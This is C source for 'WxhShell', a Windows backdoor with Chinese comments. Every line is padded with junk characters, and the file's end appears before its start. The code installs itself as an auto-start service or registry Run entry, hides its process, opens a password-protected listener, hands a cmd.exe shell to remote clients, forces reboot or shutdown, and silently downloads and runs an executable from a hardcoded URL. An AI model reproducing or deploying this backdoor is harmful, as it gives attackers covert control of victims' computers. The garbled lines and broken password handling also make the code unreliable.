    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5~*)3z^V  
    else { pCIzpEsRs  
    closesocket(wsh); %$!3Pbu i  
    ExitThread(0); ag=d6q  
    } t'qYM5  
    break; Jz@~$L  
    } ?8b19DMK6  
  // 获取shell !|cg=  
  case 's': { GtA`0B  
    CmdShell(wsh); h!EA;2yGKa  
    closesocket(wsh); +EETo):  
    ExitThread(0); FcDS*ZEk!  
    break; 4.RQ3SoDa  
  } zKJ2 ~=  
  // 退出 .|UQ)J?s  
  case 'x': { Z~5) )5Ye;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xUo6~9s7  
    CloseIt(wsh); k:@DK9 "^  
    break; +a1x;  
    } Cm}2>eH  
  // 离开 LFp "Waiv  
  case 'q': { +{J8,^z#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )- C3z   
    closesocket(wsh); 0 'QWa{dS\  
    WSACleanup(); P15 H[<:Fz  
    exit(1); IPiV_c-l  
    break; V$^jlWdR  
        } :GHv3hn5  
  } ?^}30V:E  
  } TCtZ2 <'  
%bW_,b  
  // 提示信息 k+3qX'fd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c'2d+*[  
} rqdwQ  
  } \@LTXH.  
^J!q>KJs  
  return; bx@l6bpQ  
} }f}.>B0#  
#(8|9  
// shell模块句柄 qUe _B  
int CmdShell(SOCKET sock) pSZ2>^";  
{ @f!X%)\;x  
STARTUPINFO si; 1>!LK_  
ZeroMemory(&si,sizeof(si)); gq?:n.;TY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +6m.f,14q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o4(*nz  
PROCESS_INFORMATION ProcessInfo; Qzi?%&  
char cmdline[]="cmd"; Szus*YL7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /7Q|D sa  
  return 0; %u -x9  
} QrZ#<{,J5  
eL!41_QI  
// 自身启动模式 yU?jmJ  
int StartFromService(void) ; * [:~5Wc  
{ ~/ %Xm<  
typedef struct s\ IKSoE  
{ *7BfK(9T  
  DWORD ExitStatus; NW3 c_]`=  
  DWORD PebBaseAddress; 4zug9kFK  
  DWORD AffinityMask; hlTbCl  
  DWORD BasePriority; 2z.ot'  
  ULONG UniqueProcessId; Hvl n>x@  
  ULONG InheritedFromUniqueProcessId; c\bL_  
}   PROCESS_BASIC_INFORMATION; {pzj@b 1S  
0c_xPBbB+  
PROCNTQSIP NtQueryInformationProcess; I`>U#x*  
s}D>.9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]BQYVx/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r-2k<#^r  
{7o#Ve  
  HANDLE             hProcess; ab0 Sx  
  PROCESS_BASIC_INFORMATION pbi; gT+/nSrLV  
enoj4g7em^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i;[y!U  
  if(NULL == hInst ) return 0; FhE{khc#  
gr=h!'m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %x)b Z=An  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "L~(%Nx3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f)I5=Ijy(  
}Q7y tE  
  if (!NtQueryInformationProcess) return 0; 4#U}bN  
`]Bb0h1![  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #;!&8iH  
  if(!hProcess) return 0; 'sNZFB#  
W&z jb>0b0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kc,"w\ ai  
?b7\m":'  
  CloseHandle(hProcess); L'e_?`!:  
8fR(y~_gF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); . ,7bGY 1$  
if(hProcess==NULL) return 0; p!.~hw9  
~%{2Z_t$  
HMODULE hMod; n ]ikc|  
char procName[255]; XtF m5\U  
unsigned long cbNeeded; GK?ual1  
HpwMm^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 74s{b]jN'-  
|<%!9Z  
  CloseHandle(hProcess); KKeMi@N  
%!|w(Povq  
if(strstr(procName,"services")) return 1; // 以服务启动 }d$-:l ,w  
?ukw6T  
  return 0; // 注册表启动 JAbUK[:K  
} Tc2.ciU  
VYyija:  
// 主模块 W,q @ww u  
int StartWxhshell(LPSTR lpCmdLine) nHK(3Z4G  
{ V\~.  
  SOCKET wsl; 50UdY9E_v}  
BOOL val=TRUE; #6sz@XfV  
  int port=0; 18g_v"6o  
  struct sockaddr_in door; :_{8amO  
UD I{4+z  
  if(wscfg.ws_autoins) Install(); n:j'0WW  
HL)!p8UHJ  
port=atoi(lpCmdLine); J3 $>~?^1  
tDByOml8Ix  
if(port<=0) port=wscfg.ws_port; -[>de! T3$  
{C1crp>q  
  WSADATA data; M  .#}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3? {AGJ1  
k.T=&0J_1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LZ*8YNp1'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); > mGH4{H  
  door.sin_family = AF_INET; 8\"<t/_ W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZbnAAbfKH  
  door.sin_port = htons(port); Uqr>8|t?  
+`y(S}Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +9)Jtm oL  
closesocket(wsl); ]5!3|UYS  
return 1; OG\i?N  
} )0{`}7X  
A q i:h]x  
  if(listen(wsl,2) == INVALID_SOCKET) { m 0HK1'  
closesocket(wsl); .hTqZvDa  
return 1; =w2 4(S  
} PK*Wu<<  
  Wxhshell(wsl); \0$+*ejz  
  WSACleanup(); Q PH=`s  
A=|XlP$6  
return 0; _0H oJ  
UBvp3 2p  
} i,Ct AbMx  
}nx)|J*p  
// 以NT服务方式启动 U>5^:%3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 16NHzAQ  
{ =C\Tl-$\f  
DWORD   status = 0; \Lx=iKs<  
  DWORD   specificError = 0xfffffff; CK* * RZ  
fv+]iK<{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >7U/TVd&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1HJ: ?]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >KKWhJ  
  serviceStatus.dwWin32ExitCode     = 0; q? ,PFvs"  
  serviceStatus.dwServiceSpecificExitCode = 0; mvn- QP~"  
  serviceStatus.dwCheckPoint       = 0; (f/(q-7VWt  
  serviceStatus.dwWaitHint       = 0; -YoL.`s1   
1ni+)p>]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XcR=4q|7  
  if (hServiceStatusHandle==0) return; ^'UM@dd?!  
N['DqS =  
status = GetLastError(); 1v@#b@NXM7  
  if (status!=NO_ERROR) o |$D|E  
{ G|i0n   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~id6^#&>  
    serviceStatus.dwCheckPoint       = 0; 4,RPidv%O  
    serviceStatus.dwWaitHint       = 0; E^8|xT'h6  
    serviceStatus.dwWin32ExitCode     = status; ;QI9OcE@/  
    serviceStatus.dwServiceSpecificExitCode = specificError; l u=a e<M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wMa8HeBE\  
    return; %ms%0%  
  } U-|]A\`)I  
ly0R'4j \  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TrI+F+;  
  serviceStatus.dwCheckPoint       = 0; R'BB-  
  serviceStatus.dwWaitHint       = 0; :e<jD_.X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MU<(O}  
} 6?Ncgj &@  
Om3Ayk}  
// 处理NT服务事件,比如:启动、停止 InPE_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >?g@Nt8  
{ !Tzo &G  
switch(fdwControl) &/@V$'G=  
{ :!gNOR6Lh  
case SERVICE_CONTROL_STOP: CmEqo;Is  
  serviceStatus.dwWin32ExitCode = 0; tE*BZXBlm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ||+~8z#+,  
  serviceStatus.dwCheckPoint   = 0; 2mLZ4 r>WE  
  serviceStatus.dwWaitHint     = 0; @K;b7@4y  
  { `}X3f#eO&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5es t  
  } W"\~O"a  
  return; IjI'Hx  
case SERVICE_CONTROL_PAUSE: !do`OEQKR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $8^Hk xy  
  break; }'[>~&/"  
case SERVICE_CONTROL_CONTINUE: 7QO/; zL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qqDg2,Yb  
  break; Z\ hcK:  
case SERVICE_CONTROL_INTERROGATE: =v2 |QuS$  
  break; ;lObqs*?>  
}; Gxr\a2Z&r%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I0XJ& P%  
} ;m7V]h? R  
>$ q   
// 标准应用程序主函数 fWHvVyQ.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 17hoX4T  
{ ZTmy}@l  
s'HsLe0|  
// 获取操作系统版本 @9/I^Zk  
OsIsNt=GetOsVer(); d/_D|ivZ=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ki1(b]rf  
x0j5D  
  // 从命令行安装 '9\cIni0  
  if(strpbrk(lpCmdLine,"iI")) Install(); v9(5H Y  
RZ6y5  
  // 下载执行文件 x*OdMr\n8?  
if(wscfg.ws_downexe) { Eq-+g1a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t]K20(FSN  
  WinExec(wscfg.ws_filenam,SW_HIDE); <rC%$tr  
} o.KnDY  
]4aPn  
if(!OsIsNt) { s`yzeo  
// 如果时win9x,隐藏进程并且设置为注册表启动 w8lrpbLh  
HideProc(); J[lC$X[  
StartWxhshell(lpCmdLine); IQ&PPC  
} WNR]GI  
else vF\>;pcT  
  if(StartFromService()) O_QDjxj^rZ  
  // 以服务方式启动 ,gV#x7IW  
  StartServiceCtrlDispatcher(DispatchTable); z'l$;9(y  
else u(vZOf]jL  
  // 普通方式启动 r1!1u7dr t  
  StartWxhshell(lpCmdLine); ]V"P &; m  
l7`{O/hN  
return 0; &'6/H/J  
} HZ3;2k  
S:1[CNL;  
CPB{eQeDuv  
Es>' N3A z  
=========================================== 6 Bq_<3P_  
5CK+\MK  
A f'&, 1=q  
~5 6&!4  
)>@S8v,(  
]_ C"A  
" Pe`mZCd^  
s;A7:_z#7  
#include <stdio.h> WI\a  
#include <string.h> @i ~A7L0/  
#include <windows.h> +4yre^gC  
#include <winsock2.h> `v -[&  
#include <winsvc.h> ?:r?K|Ku  
#include <urlmon.h> =lAjQt  
IfmQP s+f  
#pragma comment (lib, "Ws2_32.lib") =g+}4P  
#pragma comment (lib, "urlmon.lib") LR=Ji7  
$RDlM  
#define MAX_USER   100 // 最大客户端连接数  IuY9Q8  
#define BUF_SOCK   200 // sock buffer |WB-Ng  
#define KEY_BUFF   255 // 输入 buffer ixA.b#!1  
kk fWiPO^  
#define REBOOT     0   // 重启 'T eH(?3G  
#define SHUTDOWN   1   // 关机 n/ KO{:  
(d4btcg  
#define DEF_PORT   5000 // 监听端口 V]|X ,G  
y:)^*2GA-B  
#define REG_LEN     16   // 注册表键长度 * JK0X  
#define SVC_LEN     80   // NT服务名长度 ]:e_Y,@  
izP )t  
// 从dll定义API C0N :z.)4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L:HvrB~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (z sG!v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J~%43!X\K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L[<#>/NPy  
;6/WjUDw<|  
// wxhshell配置信息 m>=DJ{KQ  
struct WSCFG { SKC;@?  
  int ws_port;         // 监听端口 DS?.'"n[u  
  char ws_passstr[REG_LEN]; // 口令 Pn!~U] A$%  
  int ws_autoins;       // 安装标记, 1=yes 0=no !.P||$x`&  
  char ws_regname[REG_LEN]; // 注册表键名 9a*#r;R  
  char ws_svcname[REG_LEN]; // 服务名 (MLcA\LJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6Vnq|;W3Zv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [ar0{MPYd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .B]l@E-u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "t^v;?4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" & /8Tth86  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 40?RiwwD  
qyM/p.mP  
}; J>(X0@eWz  
TuQGF$n@  
// default Wxhshell configuration xM%4/QE+  
struct WSCFG wscfg={DEF_PORT, tp`1S+'~j  
    "xuhuanlingzhe", ??F* Z" x  
    1, u1meys a{0  
    "Wxhshell", VcKB:(:[  
    "Wxhshell", yzN[%/  
            "WxhShell Service", ,l~<|\4,wv  
    "Wrsky Windows CmdShell Service", |aDBp  
    "Please Input Your Password: ", ^/BGOBK  
  1, ",,#q  
  "http://www.wrsky.com/wxhshell.exe", Mj;V.Y  
  "Wxhshell.exe" H,}&=SCk  
    }; W6<oy  
%,bD| NKp  
// 消息定义模块 xr'1CP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  +vkmS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y,s EM%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f$dPDbZQ  
char *msg_ws_ext="\n\rExit."; O cL7] b0  
char *msg_ws_end="\n\rQuit."; e |Ri  
char *msg_ws_boot="\n\rReboot..."; m(8Tup|  
char *msg_ws_poff="\n\rShutdown..."; F` ybe\  
char *msg_ws_down="\n\rSave to "; o-6d$c}{f  
`<9>X9.+  
char *msg_ws_err="\n\rErr!"; LGt>=|=bj  
char *msg_ws_ok="\n\rOK!"; 4]r_K2.cc  
H9)@q3<  
char ExeFile[MAX_PATH]; PCl5,]B}  
int nUser = 0; _)45G"M  
HANDLE handles[MAX_USER]; O|H:  
int OsIsNt; &vrQ *jX  
Et3]n$  
SERVICE_STATUS       serviceStatus; +Kk1[fh-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8n3]AOc'~-  
poBeEpbs  
// 函数声明 6nTM~]5.  
int Install(void); WJq>%<#  
int Uninstall(void); c9+G Qp  
int DownloadFile(char *sURL, SOCKET wsh); G[KjK$.Ts?  
int Boot(int flag); *?<N3Rr*  
void HideProc(void); x^K4&'</  
int GetOsVer(void); HJ&P[zV^  
int Wxhshell(SOCKET wsl); {VAih-y  
void TalkWithClient(void *cs); _^E NRk@  
int CmdShell(SOCKET sock); @bg9 }Z%\h  
int StartFromService(void); !@& 3q|  
int StartWxhshell(LPSTR lpCmdLine); FW-I|kK.  
J];Sj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G|,&V0*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -K/+}4i3N  
[|:{qQyD  
// 数据结构和表定义 zyS8LZ-y9  
SERVICE_TABLE_ENTRY DispatchTable[] = uZ?P{E,K  
{ vx9!KWy}  
{wscfg.ws_svcname, NTServiceMain}, 4A J]qu  
{NULL, NULL} JX0M3|I=  
}; ox&5} &\  
3%*igpj\)  
// 自我安装 z3a GK  
int Install(void) 5Od%Jhtt  
{ PIH\*2\/  
  char svExeFile[MAX_PATH]; .{ v$;g  
  HKEY key; SXw r$)4_  
  strcpy(svExeFile,ExeFile); k3bQ32()  
6!_Wo\ _%  
// 如果是win9x系统,修改注册表设为自启动 5&8E{YXr  
if(!OsIsNt) { {N~mDUoJ|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TKnWhB/J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LtRRX@qJw  
  RegCloseKey(key); m%L!eR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /MtmO$ .  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [~N;d9H+*1  
  RegCloseKey(key); 6La[( )  
  return 0; )|*Qs${tF  
    } d7^ `  
  } OG}890$n  
} x;[ .ZzQ  
else { n~629&  
]+:yfDtZd  
// 如果是NT以上系统,安装为系统服务 4.,EKw3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :-{"9cgF R  
if (schSCManager!=0) CmB_g?K  
{ O_;BZzT  
  SC_HANDLE schService = CreateService Bj 7* 2}  
  ( XH%pV  
  schSCManager, /[TOy2/;%b  
  wscfg.ws_svcname, UIEvwQ  
  wscfg.ws_svcdisp, s* GZOz  
  SERVICE_ALL_ACCESS, \kQ)fk]^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  ]~;*9`:  
  SERVICE_AUTO_START, P|Aac,nE+^  
  SERVICE_ERROR_NORMAL, _&, A  
  svExeFile, |!(8c>]Bo  
  NULL, =G}a%)?As\  
  NULL, [ bnu DS  
  NULL, \~#\ [r_  
  NULL, [R4# bl  
  NULL yepRJ%mp  
  ); NAo.79   
  if (schService!=0) *fm?"0M5  
  { Fbo"Csn_  
  CloseServiceHandle(schService); *z[vp2 TN  
  CloseServiceHandle(schSCManager); 9i\}^ s2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Tu(:?  
  strcat(svExeFile,wscfg.ws_svcname); z<eu=OD4t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K#A&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <4TI;yy6?  
  RegCloseKey(key); Y @ v][Q  
  return 0; %R$)bGT  
    } q.J6'v lj/  
  } SAnr|<Y/  
  CloseServiceHandle(schSCManager); 3X(^`lAf)  
} "\*)KH`C  
} a>GA=r  
3.YH7rN  
return 1;  Z`*V9  
} $+PioSq  
XtO..{qU  
// 自我卸载 ftY&Q#[  
int Uninstall(void) U)kyq  
{ mH,s!6j?Vp  
  HKEY key; 4>(K~v5;N  
Mg\588cI  
if(!OsIsNt) { H s)]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r)S:= Is5  
  RegDeleteValue(key,wscfg.ws_regname); I~l_ky|a !  
  RegCloseKey(key); ),{3LIr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2M+RA}dX  
  RegDeleteValue(key,wscfg.ws_regname); /eHf8l  
  RegCloseKey(key); lSR\wz*Fk  
  return 0; W\[E  
  } P{dR pH|  
} &3/`cl[+  
} k?h{ 6Qd  
else { Mzg3i*  
NATi)A"TZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :(enaHn#~  
if (schSCManager!=0) _A]jiPq  
{ *?Eu{J){7%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9y\nO)\Tv  
  if (schService!=0) w8D8\`i!"  
  { _LF'0s*  
  if(DeleteService(schService)!=0) { `x=kb;  
  CloseServiceHandle(schService); DQhHU1  
  CloseServiceHandle(schSCManager); ,;6%s>Cvd(  
  return 0; s;h`n$  
  } !& c%!*  
  CloseServiceHandle(schService); > X  AB#  
  } (NUXK  
  CloseServiceHandle(schSCManager); f]1 $`  
} o,k#ft<  
} Ty b_'|?rW  
p3fV w]N  
return 1; >]}VD "\  
} RCqL~7C+ k  
3Dc^lfn  
// 从指定url下载文件  ~@@t-QY  
int DownloadFile(char *sURL, SOCKET wsh) F@/syX;bb5  
{ TJ>YJ D  
  HRESULT hr; W=2.0QmW  
char seps[]= "/"; lU|ltnU  
char *token; &/EZn xl  
char *file; akw:3+`  
char myURL[MAX_PATH]; \yymp70w  
char myFILE[MAX_PATH]; %|@?)[;  
R(Vd[EGY  
strcpy(myURL,sURL); CWs;1`aP  
  token=strtok(myURL,seps); yq3"VFh3d  
  while(token!=NULL) ?_pd#W=!  
  { ,S(_YS^m  
    file=token; w}}+8mk[  
  token=strtok(NULL,seps); IAd ^$9  
  } .*k!Zl*  
;2 o{ 6  
GetCurrentDirectory(MAX_PATH,myFILE); JF &$'  
strcat(myFILE, "\\"); hW,GsJ,  
strcat(myFILE, file); \^F6)COy  
  send(wsh,myFILE,strlen(myFILE),0); 0jp y c  
send(wsh,"...",3,0); ]Gl_L7u`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^R\5'9K!  
  if(hr==S_OK) e /XOmv  
return 0; d{!zJ+n  
else -GgV&%'a  
return 1; P)TeF1~T  
?fs#K;w  
} ^<yM0'0t  
XSZjuQ<[3  
// 系统电源模块 :\#]uDT2=  
int Boot(int flag) VyU!r* o  
{ IsL=DV/  
  HANDLE hToken; r~;.8qs  
  TOKEN_PRIVILEGES tkp; .hvn/5s  
/9y'UKl7[  
  if(OsIsNt) { !x:w2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `).;W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0txSF^x  
    tkp.PrivilegeCount = 1; lSId<v?C>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x^F2Ywp%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '.&,.E&{$  
if(flag==REBOOT) { y(#F&^|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BcGQpv&x  
  return 0; /`x|-9  
} 7f=9(Zj  
else { -JF|770i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Qzk/oH s  
  return 0; A[d'*n[  
} ] )x z  
  } q33!X!br  
  else { 6a`_i  
if(flag==REBOOT) { kLY9#p=X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \t&6$"n(B6  
  return 0; I|[aa$G  
} ?yz}  
else { xcIZ'V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nuv$B >  
  return 0; .uagD[${  
} **YNR:#Y  
} RZE:WE;5  
PZA;10z  
return 1; aEZn6k1  
} *DoEDw  
d0Kg,HB  
// win9x进程隐藏模块 A[':O*iB  
void HideProc(void) !"J*  
{ U7fE6&g  
g?o$:>c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /[#{#:lo2  
  if ( hKernel != NULL ) L@R%*-a  
  { <^ )0M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1 }q[8q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vrW9<{  
    FreeLibrary(hKernel); +TX p;6pA  
  } dl$l5z\  
_5YL !v&  
return; R QO{fC  
} O,1u\Zy/  
VZlvmN  
// 获取操作系统版本 "AVj]jR  
int GetOsVer(void) k~?}z.g(  
{ \&qVr1|  
  OSVERSIONINFO winfo; ?R{?Qv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0_y%Qj^e  
  GetVersionEx(&winfo); a m zw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o_*|`E  
  return 1; Q}.y"|^  
  else .y2<2eW  
  return 0; }>XSp)"{l  
} 7<:w-  
(1} Ndo^;w  
// 客户端句柄模块 K ;xW/7?  
int Wxhshell(SOCKET wsl) ta6 WZu  
{ ;qk~>  
  SOCKET wsh; w./EJk KI  
  struct sockaddr_in client; c`}X2u]k  
  DWORD myID; 22r01qH  
O}f(h5!k  
  while(nUser<MAX_USER) @ Q1jH~t  
{ A07 P$3>/W  
  int nSize=sizeof(client); +@qk=]3a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B# H  
  if(wsh==INVALID_SOCKET) return 1; IFTW,9hh  
q(p0#Mk,E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eB@i)w?@o  
if(handles[nUser]==0) tr/dd&(Y1  
  closesocket(wsh); y?@Y\ b  
else q@-qA]  
  nUser++; 7VXeu+-P  
  } imhq*f#A[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l?1!h2z%  
/[IQ:':^  
  return 0; l{a&Zy)  
} ?-84_i  
ipp_?5TL  
// 关闭 socket KE3 /<0Z  
void CloseIt(SOCKET wsh) yK7>^p}V  
{ TxCQGzqe  
closesocket(wsh); omA*XXUx=8  
nUser--; ` U3  
ExitThread(0); rlIEch^wZ  
} t3>r f3v  
7h0'R k  
// 客户端请求句柄 G([vy#p  
void TalkWithClient(void *cs) @!'H'GvA  
{ #Fd( [Zx#.  
Xbtv}g<0c  
  SOCKET wsh=(SOCKET)cs; (Sv%-8?gs  
  char pwd[SVC_LEN]; -d3y!| \>a  
  char cmd[KEY_BUFF]; td&l T(7  
char chr[1]; Bw=[g&+o1@  
int i,j; 85{vz|(':  
~&/Gx_KU  
  while (nUser < MAX_USER) { _z5CplO  
C|zH {.H  
if(wscfg.ws_passstr) { ?BZ][~n-Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %Nn'p"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !m|%4/ M@  
  //ZeroMemory(pwd,KEY_BUFF); [;f"',)y,  
      i=0; ^aW[~ c  
  while(i<SVC_LEN) { 8)!;[G|  
,7g;r_qwA  
  // 设置超时 m8PB2h  
  fd_set FdRead; iIw ea`  
  struct timeval TimeOut; UVJ(iNK"  
  FD_ZERO(&FdRead); VC(|t} L4  
  FD_SET(wsh,&FdRead); lp UtNy  
  TimeOut.tv_sec=8; P.B'Gh#^  
  TimeOut.tv_usec=0; ]c2| m}I{:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); OJ 5 !+#>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mD)O\.uA  
ix+x-G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q_&IZ,{Vk  
  pwd=chr[0]; *~uuCLv_  
  if(chr[0]==0xd || chr[0]==0xa) { { bn#:75r  
  pwd=0; !?*!"S-Sl  
  break; AZy2Pu56  
  } []0~9,u  
  i++; :a@z53X@M  
    } $SVGpEw  
)+,jal^7  
  // 如果是非法用户,关闭 socket " G6j UTt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8w[EyVHA  
} 9Ol_z\5  
CM1a<bV<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `=DCX%Vw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n^02@Aw  
G9inNz*Cx  
while(1) { 3]es$Jy  
]?`p_G3O  
  ZeroMemory(cmd,KEY_BUFF); PZJ 4: h  
F:S>\wG,  
      // 自动支持客户端 telnet标准   mm-UQ\h  
  j=0; "\r~,S{:  
  while(j<KEY_BUFF) { MwqT`;lb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a[g|APZz  
  cmd[j]=chr[0]; CZRo{2!?U  
  if(chr[0]==0xa || chr[0]==0xd) { \Egc5{   
  cmd[j]=0; f {Z%:H  
  break;  ja- ~`  
  } b_Jq=Gk`  
  j++; -z$2pXT ^  
    } HbfB[%  
a BH1J]_  
  // 下载文件 S{T d/1}  
  if(strstr(cmd,"http://")) { jY+S,lD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yKEFne8^  
  if(DownloadFile(cmd,wsh)) ,D2_Z]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gCr|e}w-  
  else L_K\i?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lY*]&8/=  
  } UH-uU~  
  else { .r5oN+?e  
zf>^2t*\  
    switch(cmd[0]) { xevP2pYG:  
  n(YHk\2  
  // 帮助 /8t+d.r;/  
